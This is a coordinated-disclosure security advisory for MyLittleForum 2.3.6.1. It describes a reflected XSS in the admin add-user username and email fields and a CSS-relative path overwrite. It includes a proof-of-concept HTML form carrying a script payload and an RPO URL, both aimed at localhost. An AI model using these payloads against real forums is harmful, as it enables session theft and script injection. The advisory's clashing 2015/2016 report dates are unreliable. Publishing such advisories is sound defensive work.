Security Advisory - Curesec Research Team
1. Introduction
Affected Product: MyLittleForum 2.3.6.1
Fixed in: 2.3.7beta
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/
v2.3.7beta
Vendor Website: http://mylittleforum.net/
Vulnerability Type: XSS & RPO
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is
vulnerable to reflected cross site scripting as well as relative path
overwrite. XSS can be used to steal cookies, inject JavaScript keyloggers, or
bypass CSRF protection, and RPO may lead to CSS injection.
3. Details
Reflected XSS
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Description: The username and email parameter of the add user page are
vulnerable to reflected XSS.
Proof of Concept:
<html> <body> <form action="http://localhost/mylittleforum-2.3.6.1/index.php"
method="POST"> <input type="hidden" name="mode" value="admin" /> <input type=
"hidden" name="ar_username" value="test" /> <input type="hidden" name=
"ar_email" value="test@example.comle3d4"><script>alert(1)</script>" /> <input
type="hidden" name="ar_pw" value="test" /> <input type="hidden" name=
"ar_pw_conf" value="test" /> <input type="hidden" name="register_submit" value=
"i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </
html>
Relative Path Overwrite
Description: Because the application includes CSS files relative instead of
absolute, an attacker can overwrite the path. With some browsers, this may lead
to CSS injection.
Proof of Concept:
http://localhost/mylittleforum-2.3.6.1/index.php////?id=1
4. Solution
To mitigate this issue please upgrade at least to version 2.3.7beta:
https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta
Please note that a newer version might already be available.
5. Report Timeline
09/05/2015 Informed Vendor about Issue (no reply)
09/15/2015 Reminded Vendor of Disclosure Date
09/15/2015 Vendor replies
10/04/2015 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/MyLittleForum-2361-XSS-amp-RPO-179.html
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Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany
